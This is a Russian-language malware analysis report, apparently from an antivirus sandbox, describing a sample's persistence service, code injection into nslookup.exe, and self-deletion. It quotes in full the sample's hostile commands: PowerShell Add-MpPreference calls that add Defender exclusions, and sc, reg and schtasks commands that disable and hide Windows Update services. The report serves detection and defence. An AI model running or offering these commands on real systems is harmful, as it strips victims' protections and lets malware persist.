Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\CheckUpdateSvc_a47d] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\CheckUpdateSvc_a47d] 'ImagePath' = '%ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe'
- [HKLM\SYSTEM\CurrentControlSet\Services\oweciuobjv] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\gkkgljmbus] 'ImagePath' = '<SYSTEM32>\svchost.exe -k wusvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\tlplgifzcc] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\lvnifloygk] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
Создает следующие сервисы
- 'CheckUpdateSvc_a47d' %ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Обновления системы (Windows Update)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:UserProfile -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:ProgramData -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:TEMP -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.exe' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.sys' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\nslookup.exe
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\common\microsoft\temp\ac5f54ab\coreguardmgr3586.exe
- %WINDIR%\temp\__psscriptpolicytest_k3ekqgjo.mn1.ps1
- %WINDIR%\temp\__psscriptpolicytest_atcvzfr0.vtq.psm1
- %WINDIR%\temp\__psscriptpolicytest_ixs3nvnh.jnw.ps1
- %WINDIR%\temp\__psscriptpolicytest_r5oaoace.rny.psm1
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_cnnergue.byl.ps1
- %WINDIR%\temp\__psscriptpolicytest_du4crmmr.zea.psm1
- %WINDIR%\temp\__psscriptpolicytest_radvergh.xh3.ps1
- %WINDIR%\temp\__psscriptpolicytest_hn1g0hkx.wtx.psm1
- %WINDIR%\temp\__psscriptpolicytest_k4xapoxp.3ex.ps1
- %WINDIR%\temp\__psscriptpolicytest_vintdxwa.zf2.psm1
- %WINDIR%\temp\__psscriptpolicytest_dtchkwa3.sl4.ps1
- %WINDIR%\temp\__psscriptpolicytest_4krug4ct.iqj.psm1
- %WINDIR%\temp\__psscriptpolicytest_ifugzfby.5ql.ps1
- %WINDIR%\temp\__psscriptpolicytest_wbinvexv.ngu.psm1
- %WINDIR%\temp\__psscriptpolicytest_y4wcbvxt.ym0.ps1
- %WINDIR%\temp\__psscriptpolicytest_234kyasv.gbe.psm1
- %WINDIR%\temp\__psscriptpolicytest_cmnbqcth.guf.ps1
- %WINDIR%\temp\__psscriptpolicytest_xdwqufxi.ktd.psm1
- %WINDIR%\temp\__psscriptpolicytest_b0mgwt3m.a5d.ps1
- %WINDIR%\temp\__psscriptpolicytest_nyse1xzg.205.psm1
- %WINDIR%\temp\__psscriptpolicytest_pcq4g5if.yy5.ps1
- %WINDIR%\temp\__psscriptpolicytest_r1xoup1s.q4n.psm1
- %WINDIR%\temp\__psscriptpolicytest_4mq5tbgv.w4z.ps1
- %WINDIR%\temp\__psscriptpolicytest_5g3gdgxk.0a4.psm1
- %WINDIR%\temp\__psscriptpolicytest_idsl4ouq.shi.ps1
- %WINDIR%\temp\__psscriptpolicytest_lzmvbots.coc.psm1
- %WINDIR%\temp\__psscriptpolicytest_vkjnezq0.wym.ps1
- %WINDIR%\temp\__psscriptpolicytest_2vvxmk22.hhr.psm1
- %WINDIR%\temp\__psscriptpolicytest_w3q1nwkv.qgt.ps1
- %WINDIR%\temp\__psscriptpolicytest_xyqsgqg4.em4.psm1
- %WINDIR%\temp\__psscriptpolicytest_3n4kivx3.aaj.ps1
- %WINDIR%\temp\__psscriptpolicytest_x5qsfd3p.1nu.psm1
Удаляет файлы, которые сам же создал
- %WINDIR%\temp\__psscriptpolicytest_k3ekqgjo.mn1.ps1
- %WINDIR%\temp\__psscriptpolicytest_atcvzfr0.vtq.psm1
- %WINDIR%\temp\__psscriptpolicytest_ixs3nvnh.jnw.ps1
- %WINDIR%\temp\__psscriptpolicytest_r5oaoace.rny.psm1
- %WINDIR%\temp\__psscriptpolicytest_cnnergue.byl.ps1
- %WINDIR%\temp\__psscriptpolicytest_du4crmmr.zea.psm1
- %WINDIR%\temp\__psscriptpolicytest_radvergh.xh3.ps1
- %WINDIR%\temp\__psscriptpolicytest_hn1g0hkx.wtx.psm1
- %WINDIR%\temp\__psscriptpolicytest_k4xapoxp.3ex.ps1
- %WINDIR%\temp\__psscriptpolicytest_vintdxwa.zf2.psm1
- %WINDIR%\temp\__psscriptpolicytest_dtchkwa3.sl4.ps1
- %WINDIR%\temp\__psscriptpolicytest_4krug4ct.iqj.psm1
- %WINDIR%\temp\__psscriptpolicytest_ifugzfby.5ql.ps1
- %WINDIR%\temp\__psscriptpolicytest_wbinvexv.ngu.psm1
- %WINDIR%\temp\__psscriptpolicytest_y4wcbvxt.ym0.ps1
- %WINDIR%\temp\__psscriptpolicytest_234kyasv.gbe.psm1
- %WINDIR%\temp\__psscriptpolicytest_cmnbqcth.guf.ps1
- %WINDIR%\temp\__psscriptpolicytest_xdwqufxi.ktd.psm1
- %WINDIR%\temp\__psscriptpolicytest_b0mgwt3m.a5d.ps1
- %WINDIR%\temp\__psscriptpolicytest_nyse1xzg.205.psm1
- %WINDIR%\temp\__psscriptpolicytest_pcq4g5if.yy5.ps1
- %WINDIR%\temp\__psscriptpolicytest_r1xoup1s.q4n.psm1
- %WINDIR%\temp\__psscriptpolicytest_4mq5tbgv.w4z.ps1
- %WINDIR%\temp\__psscriptpolicytest_5g3gdgxk.0a4.psm1
- %WINDIR%\temp\__psscriptpolicytest_idsl4ouq.shi.ps1
- %WINDIR%\temp\__psscriptpolicytest_lzmvbots.coc.psm1
- %WINDIR%\temp\__psscriptpolicytest_vkjnezq0.wym.ps1
- %WINDIR%\temp\__psscriptpolicytest_2vvxmk22.hhr.psm1
- %WINDIR%\temp\__psscriptpolicytest_w3q1nwkv.qgt.ps1
- %WINDIR%\temp\__psscriptpolicytest_xyqsgqg4.em4.psm1
- %WINDIR%\temp\__psscriptpolicytest_3n4kivx3.aaj.ps1
- %WINDIR%\temp\__psscriptpolicytest_x5qsfd3p.1nu.psm1
Самоперемещается
- из <Полный путь к файлу> в \:u
Другое
Создает и запускает на исполнение
- '%ALLUSERSPROFILE%\common\microsoft\temp\ac5f54ab\coreguardmgr3586.exe'
Запускает на исполнение
- '<SYSTEM32>\sc.exe' delete "CheckUpdateSvc_a47d" (со скрытым окном)
- '<SYSTEM32>\sc.exe' create "CheckUpdateSvc_a47d" binpath= "%ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe" start= "auto" (со скрытым окном)
- '<SYSTEM32>\sc.exe' start "CheckUpdateSvc_a47d" (со скрытым окном)
- '<SYSTEM32>\nslookup.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-O... (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc (со скрытым окном)
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop UsoSvc (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\oweciuobjv" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\gkkgljmbus" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f (со скрытым окном)
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop wuauserv (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\tlplgifzcc" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f (со скрытым окном)
- '<SYSTEM32>\sc.exe' config BITS start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop BITS (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\lvnifloygk" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f (со скрытым окном)
- '<SYSTEM32>\sc.exe' config dosvc start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop dosvc (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\qeyvnrxesn" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:UserProfile -Force (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:ProgramData -Force (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:TEMP -Force (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.exe' -Force (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.sys' -Force (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'svchost.exe' -Force (со скрытым окном)
